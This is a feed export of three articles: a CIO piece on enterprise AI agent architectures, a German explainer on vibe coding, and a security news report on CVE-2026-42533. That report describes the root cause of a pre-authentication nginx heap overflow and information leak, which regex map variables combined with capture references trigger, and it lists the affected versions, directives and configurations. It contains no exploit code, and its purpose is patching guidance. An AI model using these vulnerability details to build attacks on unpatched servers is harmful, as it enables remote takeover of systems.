<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw]]></title>
<description><![CDATA[A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patc...]]></description>
<link>https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680443/it-security-nachrichten/cve-2026-42533-exposes-critical-pre-auth-nginx-rce-flaw/</guid>
<pubDate>Mon, 20 Jul 2026 08:52:32 +0200</pubDate>
<content:encoded><![CDATA[<p><img width="1217" height="768" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-42533" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533.webp 1217w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-300x189.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1024x646.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-768x485.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-600x379.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-150x95.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-750x473.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-42533-1140x719.webp 1140w" sizes="(max-width: 1217px) 100vw, 1217px" title="CVE-2026-42533 Exposes Critical Pre-Auth nginx RCE Flaw 1"></p><span data-contrast="auto">A newly disclosed security flaw, CVE-2026-42533, has revealed a critical Pre-Auth nginx vulnerability that could allow attackers to achieve reliable RCE (remote code execution) without authentication. The issue affects nginx versions 0.9.6 through 1.30.3 (stable) and 1.31.2 (mainline), while patched releases include 1.30.4 and 1.31.3. Affected NGINX Plus versions include R33-R36 (fixed in R36 P7) and 37.0.0.1-37.0.2.1 (fixed in 37.0.3.1).</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">According to the disclosure, the <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29039">vulnerability</a> stems from a missing save-and-restore mechanism for PCRE capture state within nginx's two-pass script evaluation engine. The flaw enables attackers to trigger a heap buffer overflow with attacker-controlled content and length, while also exposing heap pointers through an information leak that can defeat Address Space Layout Randomization (ASLR). Chaining both primitives enables reliable Pre-Auth nginx RCE.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-42533 Impacts Multiple Configurations</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The <a href="https://cyberstan.co.uk/nginx-rce/" target="_blank" rel="nofollow noopener">advisory warns</a> that deployments using map directives with regex patterns alongside regex capture sources, including location, server_name, rewrite, or if blocks, may be vulnerable. The issue depends on evaluation order, where regex capture references, such as $1 or named groups, are processed before a regex map variable.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Affected directives include proxy_set_header, proxy_method, proxy_pass, fastcgi_param, uwsgi_param, scgi_param, grpc_set_header, return, add_header, rewrite, set, root, alias, and access_log, among others. Both HTTP and stream modules are affected, and the <a href="https://thecyberexpress.com/default-credentials-polish-energy-grid-attack/" target="_blank" rel="noopener">vulnerable</a> capture and map variables do not need to exist within the same directive.</span><span data-ccp-props="{}"> </span>
<h3 aria-level="2"><b><span data-contrast="none">Technical Root Cause</span></b></h3>
<span data-contrast="auto">The researcher explained that nginx evaluates expressions in two stages: a length calculation (LEN) pass followed by a value (VALUE) pass. During execution, regex map evaluation overwrites shared capture <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29040">data</a> stored in the request object. As a result, the LEN pass and VALUE pass can calculate different capture sizes, causing either a heap overflow or an information leak depending on the relative capture lengths.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The disclosure states that attackers can control both the overflow size and leaked data using ordinary HTTP requests, including request URIs, headers, and bodies. No credentials, client certificates, or unusual configuration beyond the vulnerable pattern are required.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Testing reportedly achieved 10 out of 10 successful <a href="https://thecyberexpress.com/rcritical-ivanti-csa-vulnerabilities-exploited/" target="_blank" rel="noopener">exploitations</a> on Ubuntu 24.04 using glibc 2.39 with ASLR enabled.</span>
<h3 aria-level="2"><b><span data-contrast="none">Mitigation and Disclosure</span></b></h3>
<span data-contrast="auto">The researcher said recent fixes for CVE-2026-42945, CVE-2026-9256, CVE-2026-42055, and CVE-2026-48142 do not address CVE-2026-42533. Administrators are advised to upgrade immediately to nginx 1.30.4, 1.31.3, or the corresponding patched NGINX Plus releases.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">Until systems are updated, defenders should audit configurations that combine regex captures with regex map variables in the same evaluation path. The researcher also released a static configuration scanner that identifies vulnerable configurations without exploiting them.</span><span data-ccp-props="{}"> </span>

<span data-contrast="auto">The initial report was submitted to F5 SIRT on May 17, 2026, with follow-up analyses covering additional variants, including cross-directive triggering and named capture clobbering. While a proof-of-concept exploit exists, the researcher said it will be withheld until users have sufficient time to apply patches, citing concerns over rapid exploitation following previous <a href="https://thecyberexpress.com/nginx-rift-cve-2026-42945-active-exploitation/" target="_blank" rel="noopener">nginx</a> vulnerability disclosures.</span><span data-ccp-props="{}"> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[Vibe Coding erklärt]]></title>
<description><![CDATA[Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.Fit Ztudio | shutterstock.com



Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwi...]]></description>
<link>https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680298/it-security-nachrichten/vibe-coding-erklaert/</guid>
<pubDate>Mon, 20 Jul 2026 07:54:16 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/11/Fit-Ztudio_shutterstock_2642655115_16z9.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Code Review Dev 16z9" class="wp-image-4086782" width="1024" height="576" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Vibe Coding verspricht viele KI-getriebene Vorteile, macht Softwareentwickler jedoch nicht überflüssig – eher im Gegenteil.</figcaption></figure><p class="imageCredit">Fit Ztudio | shutterstock.com</p></div>



<p class="wp-block-paragraph">Im Dev-Umfeld verschwimmt die Grenze zwischen Programmieren und Prompten schon seit einigen Jahren. Auf die Spitze getrieben wird diese Entwicklung vom <a href="https://www.computerwoche.de/article/3854442/vibe-coding-im-selbstversuch.html" target="_blank">Vibe-Coding-Trend</a>: Frühe KI-Entwickler-Tools wie GitHub Copilot waren vornehmlich darauf ausgelegt, Devs zu unterstützen. Etwa, indem sie Funktionen und Syntax ergänzten oder Boilerplate-Code aus Kommentaren generierten. Kommt ein Vibe-Coding-Ansatz zum Zug, beginnen <a href="https://www.computerwoche.de/article/2818958/was-developer-an-ihrem-job-lieben-und-hassen.html" target="_blank">menschliche Entwickler</a> hingegen gar nicht erst damit, Code zu schreiben.</p>



<p class="wp-block-paragraph">Dieses Konzept führt nicht nur zu veränderten Workflows, sondern erfordert auch, ein neues Mindset. Schließlich wird die Programmierarbeit mit <a href="https://www.computerwoche.de/article/4052859/github-spark-im-vibe-coding-test.html" target="_blank">Vibe Coding</a> eher zu einer Art Live-Prototyping. In diesem Artikel lesen Sie:</p>



<ul class="wp-block-list">
<li>warum Vibe Coding Vibe Coding heißt,</li>



<li>inwieweit sich dieser Ansatz für Unternehmen eignet,</li>



<li>wie Vibe-Coding-Workflows konkret aussehen (können),</li>



<li>welche Tools in diesem Bereich zu empfehlen sind,</li>



<li>welche Risiken Sie dabei auf dem Schirm haben sollten, sowie</li>



<li>Tipps dazu, wie Sie Vibe Coding effektiv in der Praxis umsetzen.</li>
</ul>



<h2 class="wp-block-heading">Vibe Coding – Begriffsdefinition</h2>



<p class="wp-block-paragraph">Der Begriff Vibe Coding wurde Anfang 2025 vom OpenAI-Mitbegründer <a href="https://www.linkedin.com/in/andrej-karpathy-9a650716/" target="_blank" rel="noreferrer noopener">Andrej Karpathy</a> geprägt. Der KI-Experte trat den Trend mit einem Post auf dem Kurznachrichtendienst X los.</p>



<figure class="wp-block-embed is-type-rich is-provider-x wp-block-embed-x"><div class="wp-block-embed__wrapper youtube-video">
<blockquote class="twitter-tweet" data-width="500" data-dnt="true"><p lang="en" dir="ltr">There's a new kind of coding I call "vibe coding", where you fully give in to the vibes, embrace exponentials, and forget that the code even exists. It's possible because the LLMs (e.g. Cursor Composer w Sonnet) are getting too good. Also I just talk to Composer with SuperWhisper…</p>— Andrej Karpathy (@karpathy) <a href="https://x.com/karpathy/status/1886192184808149383?ref_src=twsrc%5Etfw">February 2, 2025</a></blockquote>
</div></figure>



<p class="wp-block-paragraph">In diesem beschreibt Karpathy die Vibe-Coding-Methodik als eine neue Coding-Form, bei der man sich ganz den “Vibes” hingibt und vergisst, dass der Code überhaupt existiert. <a href="https://shadowdragon.io/author/amy-mshadowdragon-io/" target="_blank" rel="noreferrer noopener">Amy Mortlock</a>, Vice President of Marketing beim <a href="https://www.computerwoche.de/article/2795282/wie-viel-wissen-hacker-ueber-sie.html" target="_blank">OSINT</a>-Spezialisten ShadowDragon, erklärt das Konzept etwas weniger kryptisch: “Beim Vibe Coding beschreibt man in natürlicher Sprache, was man möchte, und die KI generiert dann die gesamte Anwendung und kümmert sich um alle technischen Details.”</p>



<p class="wp-block-paragraph">Vibe Coding setzt also darauf, die traditionelle Programmierarbeit durch dialogorientierte Anweisungen und <a href="https://www.computerwoche.de/article/4026379/ki-jobs-diese-skills-brauchen-entwickler.html" target="_blank">Kooperation mit einem KI-Assistenten</a> zu ersetzen. Statt detaillierte Spezifikationen zu entwerfen und diese an die Engineers weiterzugeben, können Produktmanager, Fachexperten – oder jeder andere, der eine Idee hat – in einfacher Sprache beschreiben, wie das Ergebnis aussehen soll. Die KI-Software erledigt dem Rest in Echtzeit. Allerdings geht es dabei weniger darum, die Softwareentwicklung durchgängig zu automatisieren.</p>



<p class="wp-block-paragraph">Vielmehr stehen Mindset-Veränderungen im Fokus: Warum sollte man nicht der KI die Mechanik überlassen und sich stattdessen auf die Ausrichtung, das Feedback, den Flow und die “Vibes” konzentrieren? Schließlich werden die Modelle, die Tools wie <a href="https://www.infoworld.com/article/4081431/cursor-2-0-adds-coding-model-ui-for-parallel-agents.html" target="_blank">Cursor</a> oder GitHub Copilot zugrunde liegen, immer performanter. Deswegen sehen auch viele Developer ihre Arbeit inzwischen vorwiegend als einen Dialog mit der KI – statt sich zeilenweise selbst durch Syntax zu wühlen.</p>



<p class="wp-block-paragraph">Und obwohl auch bei einem Vibe-Coding-Ansatz diverse <a href="https://www.computerwoche.de/article/4034385/9-wege-mit-vibe-coding-zu-scheitern.html" target="_blank">Probleme und Herausforderungen</a> auf den Plan treten können (dazu später mehr): Die Technik gewinnt zunehmend an Popularität – auch im Unternehmensumfeld.</p>



<h2 class="wp-block-heading">Vibe Coding im Unternehmen</h2>



<p class="wp-block-paragraph">Wie das in der Praxis konkret aussieht, beschreibt <a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Softwareentwickler beim Observability-Spezialisten Chronosphere: “Viele unserer Entwickler nutzen Tools wie Cursor und <a href="https://www.computerwoche.de/article/4182911/claude-code-hat-ein-sicherheitsproblem.html" target="_blank">Claude Code</a>. Wir fördern deren Einsatz sogar über ein Nutzungs-Leaderboard. Dabei betrachten wir die Tools jedoch als Assistenten, nicht als Dev-Ersatz. Unser Code-Review-Prozess ist weiterhin Pflicht für jeden Produktionscode – und wir sehen eher davon ab, viele unserer oder gar externe Tools mit KI zu verbinden.”</p>



<p class="wp-block-paragraph">In der Perspektive von <a href="https://www.linkedin.com/in/achint-agarwal-a853241" target="_blank" rel="noreferrer noopener">Achint Agarwal</a>, Vice President of Product beim KI-Anbieter Pramata, hat Vibe Coding vor allem die Art und Weise verändert, wie Teams vom Konzept zum Prototyp gelangen: “Früher mussten UI/UX-Designer und Entwickler zusammenarbeiten, um eine Idee in etwas zu verwandeln, mit dem Kunden interagieren konnten. Dieser Prozess konnte leicht mehrere Wochen dauern und diverse Überarbeitungsrunden umfassen.”</p>



<p class="wp-block-paragraph">Heute, so Agarwal, könne ein Produktmanager oder Fachexperte einfach in <a href="https://www.computerwoche.de/article/2799474/was-ist-natural-language-processing.html" target="_blank">natürlicher Sprache</a> formulieren, was er sich vorstellt, und die KI generiere funktionierenden Code in <a href="https://www.computerwoche.de/article/2785190/prototyping-hilft-bei-der-softwareentwicklung.html" target="_blank">Prototyp-Qualität</a>. “Bei dieser Veränderung geht es um mehr als nur Geschwindigkeit: Auch die Qualität der Ergebnisse ist besser, weil die Person, die den Anforderungen am nächsten steht, während des gesamten Prozesses die Kontrolle behält und es keine Reibungsverluste durch Übergaben gibt”, fügt der Manager hinzu.</p>



<p class="wp-block-paragraph">Auch Agarwal sieht in Vibe Coding kein Substitut für die traditionelle <a href="https://www.computerwoche.de/article/4016035/6-trends-wie-ki-die-softwareentwicklung-verandert.html" target="_blank">Softwareentwicklung</a>, sondern vor allem ein Explorations- und Validierungs-Tool: “Dev-Teams ist es damit möglich, in kurzer Zeit funktionierende Prototypen zu erstellen, diese mit Kunden zu testen und zu überprüfen, ob die Idee sinnvoll ist. Fällt diese Prüfung positiv aus, kann der Prototyp an die Engineers gehen, die ihn mit Blick auf Skalierbarkeit, Sicherheit und langfristige Integrationen weiter ausbauen.”</p>



<h2 class="wp-block-heading">Wie sieht ein Vibe-Coding-Workflow aus?</h2>



<p class="wp-block-paragraph">Es gibt keine allgemeingültige Blaupause für Vibe Coding. Entsprechend gehen auch die Ansichten darüber auseinander, wie ein typischer Vibe-Coding-Workflow aussieht. <a href="https://www.linkedin.com/in/kostaspardalis/" target="_blank" rel="noreferrer noopener">Kostas Pardalis</a>, Data Infrastructure Engineer beim KI-Lösungsanbieter Typedef, beschreibt diesen als agilen, vierstufigen Prozess:</p>



<ul class="wp-block-list">
<li>die <strong>Erkundungsphase</strong>, in der der “Vibe”, der Zweck und die Einschränkungen definiert werden.</li>



<li>die <strong>Gestaltungsphase</strong>, in der ein funktionierender Prototyp erstellt und verfeinert wird.</li>



<li>die <strong>Grounding-Phase</strong>, die genutzt wird, um Struktur und Datenintegrität hinzuzufügen.</li>



<li>die <strong>Operationalisierungsphase</strong>, in der Versionierung, Evaluierung und Governance hinzukommen.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/steve-croce-1060082/" target="_blank" rel="noreferrer noopener">Steve Croce</a>, Field CTO beim Open-Source-Unternehmen Anaconda, steht hingegen auf dem Standpunkt, dass der Vibe-Coding-Workflow davon abhängig ist, ob ein Prototyp, eine Zwischenlösung oder eine vollständige Produktionsapplikation entwickelt werden soll. Basierend darauf, orientiert sich der Vibe-Coding-Workflow in der Vision des Technologieentscheiders eher am traditionellen Software Development Lifecycle – fußt jedoch ebenfalls auf vier Stufen:</p>



<ul class="wp-block-list">
<li>In der Phase der <strong>Planungs- und Anforderungsanalyse</strong> könnten Produktmanager und UX-Teams demnach voll und ganz auf Vibe Coding setzen und so vor der formellen Entwicklung klickbare Prototypen und Machbarkeitstests erstellen.</li>



<li>Im Rahmen der<strong> Design-Phase </strong>kann KI laut Croce dabei unterstützen, Architekturen und <a href="https://www.computerwoche.de/a/4077044" target="_blank">Dokumentationen zu erstellen</a>. Der Manager weist allerdings darauf hin, dass es in dieser Phase auch hilfreich sein könne, erfahrene Engineers oder Architekten hinzuziehen, um die Einhaltung von Standards und die Reusability interner Systeme zu gewährleisten.</li>



<li>Als Kernbereich der Vibe-Coding-Experience sieht Croce die<strong> Implementierungs- und Testphase:</strong> Ein KI-Agent könne an dieser Stelle die gesamte Anwendung erstellen und darüber hinaus auch Repositories strukturieren und <a href="https://www.computerwoche.de/article/2804460/installationen-und-funktionstests-automatisieren.html" target="_blank">Tests durchführen</a>. Der Experte rät Unternehmens-Teams jedoch mit Blick auf die Testabdeckung und Konformitätsprüfungen auch in dieser Phase dazu, menschliche Profis hinzuzuziehen.</li>



<li>In der <strong>Bereitstellungs- und Wartungsphase </strong>könne KI laut dem CTO dazu genutzt werden, Apps bereitzustellen und zu warten. Dieser Part könne jedoch auch vollständig außerhalb der Vibe-Coding-Erfahrung abgewickelt werden, um den Unternehmensanforderungen zu entsprechen, so Croce.</li>
</ul>



<h2 class="wp-block-heading">Empfehlenswerte Vibe-Coding-Tools</h2>



<p class="wp-block-paragraph">Vibe-Coding-Tools decken ein breites Spektrum ab: Vom leicht zugänglichen, dialogorientierten Builder für nicht-technische Teams, bis hin zu integrierten Entwicklungsumgebungen (<a href="https://www.computerwoche.de/article/2827615/4-entwicklungsumgebungen-fuer-pythonistas.html" target="_blank">IDEs</a>), die Engineers umfassende Kontrollmöglichkeiten bieten und zuverlässige Anwendungen gewährleisten. Die Wahl des richtigen Tools hängt von den Fähigkeiten des Teams, dem Projektziel und dem benötigten Maß an Governance ab.</p>



<p class="wp-block-paragraph">Eine kleine Auswahl empfehlenswerter Tools für Vibe-Coding-Zwecke:</p>



<ul class="wp-block-list">
<li><a href="https://cursor.com/" target="_blank" rel="noreferrer noopener"><strong>Cursor</strong></a> ist eine KI-integrierte IDE, mit der sich mehrere Dateien bearbeiten lassen.</li>



<li><a href="https://replit.com/" target="_blank" rel="noreferrer noopener"><strong>Replit</strong></a> ist eine gute Wahl für Browser-basierte Entwicklungsarbeit.</li>



<li><a href="https://bolt.new/" target="_blank" rel="noreferrer noopener"><strong>Bolt</strong> </a>und <a href="https://lovable.dev/" target="_blank" rel="noreferrer noopener"><strong>Lovable</strong></a> sind Builder, eignen sich vor allem für schnelles Brainstorming und zeichnen sich durch überschaubaren technischen Aufwand aus. Diese Tools sind daher auch für Einsteiger geeignet.</li>



<li><a href="https://windsurf.com/" target="_blank" rel="noreferrer noopener"><strong>Windsurf</strong></a> und <a href="https://zed.dev/" target="_blank" rel="noreferrer noopener"><strong>Zed</strong></a> sind vollständige IDEs, die darauf ausgelegt sind, Vibe-Coding-Funktionen in traditionelle Dev-Umgebungen zu integrieren.</li>
</ul>



<h2 class="wp-block-heading">Diese Risiken birgt Vibe Coding</h2>



<p class="wp-block-paragraph">Trotz der genannten Vorteile birgt der Vibe-Coding-Ansatz auch diverse Risiken mit Blick auf die Wartbarkeit und Anfälligkeit der generierten Logik. So warnt etwa ShadowDragon-Managerin Mortlock: “<a href="https://www.computerwoche.de/article/4155663/6-wege-uber-ki-gehackt-zu-werden.html" target="_blank">Sicherheitslücken</a> und <a href="https://www.computerwoche.de/article/3980660/technische-schulden-als-billige-ausrede.html" target="_blank">technische Schulden</a> sind die Hauptprobleme in Zusammenhang mit Vibe Coding. KI kann manchmal unsichere Pattern oder auch veraltete Bibliotheken einbinden.”</p>



<p class="wp-block-paragraph">Zudem sei KI-generierter Code in den meisten Fällen auch länger, was das Debugging langwierig und mühsam gestalten könne, erklärt Mortlock. Sie fügt hinzu: “KI verweist unter Umständen auch auf nicht existierende Packages, was auch böswillige Akteure ausnutzen könnten. Was wie funktionierender Code aussieht, kann versteckte Fallen bergen.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/charlesjiama/" target="_blank" rel="noreferrer noopener">Charles Ma</a>, Software Engineer beim Observability-Spezialisten Chronosphere, sieht ein weiteres Problem, das die Angriffsfläche potenziell vergrößert: “Selbst erfahrene Engineers können selbstzufrieden werden und dann Probleme übersehen, die ihnen sonst nicht entgangen wären. Sobald KI-Tools mit externen Systemen verbunden sind oder Websuchen durchführen, besteht außerdem das Risiko von Prompt Injections und Toolchain-Exploits.”</p>



<p class="wp-block-paragraph">Infrastruktur-Profi Pardalis fokussiert mit Blick auf die Risiken von Vibe Coding vor allem die Bereiche Volatilität und Sichtbarkeit: Weil dieser Ansatz für schnelle Iterationen und Modellautonomie förderlich sei, bestünden die Hauptrisiken in unkontrollierter Variabilität und undurchsichtigen Quellen. Um diese Probleme zu bekämpfen, appelliert Pardalis für:</p>



<ul class="wp-block-list">
<li><strong>Lineage Tracking</strong>: Jede Version wird committet und verwendet Frameworks mit integrierter Traceability.</li>



<li><strong>Evaluierungsschleifen</strong>: Qualitäts- und Regressionsprüfungen werden automatisiert durchgeführt.</li>



<li><strong>Governance-Layer</strong>: Prompt-Historien werden auditiert und sensible Daten gefiltert.</li>
</ul>



<p class="wp-block-paragraph">Der Engineering-Profi ist der Ansicht, dass eine expressive, modellgesteuerte Softwareentwicklung und eine deterministische Infrastruktur unter disziplinierten Rahmenbedingungen koexistieren können: “Letztendlich verspricht Vibe Coding kein Chaos, sondern strukturierte Kreativität. Sie entwickeln Ideen schnell, setzen sie aber sicher um. Mit anderen Worten: Freiheit am Anfang, Disziplin im weiteren Verlauf – so kann Vibe Coding tatsächlich in Produktionsumgebungen skaliert werden.”</p>



<h2 class="wp-block-heading">6 Tipps für effektives Vibe Coding</h2>



<p class="wp-block-paragraph">Da Sie nun umfassend über alle Aspekte des Vibe-Coding-Ansatzes informiert sind, geben wir Ihnen abschließend noch ein paar Tipps an die Hand, um Ihre eigene Initiative erfolgreich umzusetzen. Diese haben wir aus unseren Gesprächen mit den im Artikel zitierten Spezialisten zum Thema extrahiert</p>



<ul class="wp-block-list">
<li><strong>Beginnen Sie mit Zielen, nicht mit Funktionen:</strong> Beschreiben Sie zunächst die gewünschte <a href="https://www.computerwoche.de/article/2834420/der-niedergang-des-user-interface.html" target="_blank">User Experience</a> und die wesentlichen Geschäftsprobleme, die mit der Initiative gelöst werden sollen. Dabei müssen Sie es nicht übertreiben und jeden Button oder Screen definieren – für relevante Lösungen ist es entscheidend, der KI so genau wie möglich zu beschreiben, was erreicht werden soll.</li>



<li><strong>Planen Sie voraus:</strong> Vibe Coding ist nicht in der Lage, eine gute Architektur zu ersetzen. Bevor Sie KI hinzuziehen, sollten Sie deshalb sicherstellen, dass Design und Spezifikationen stimmen. Das erleichtert es der KI, “Intent” in kohärente Systeme zu übersetzen.  </li>



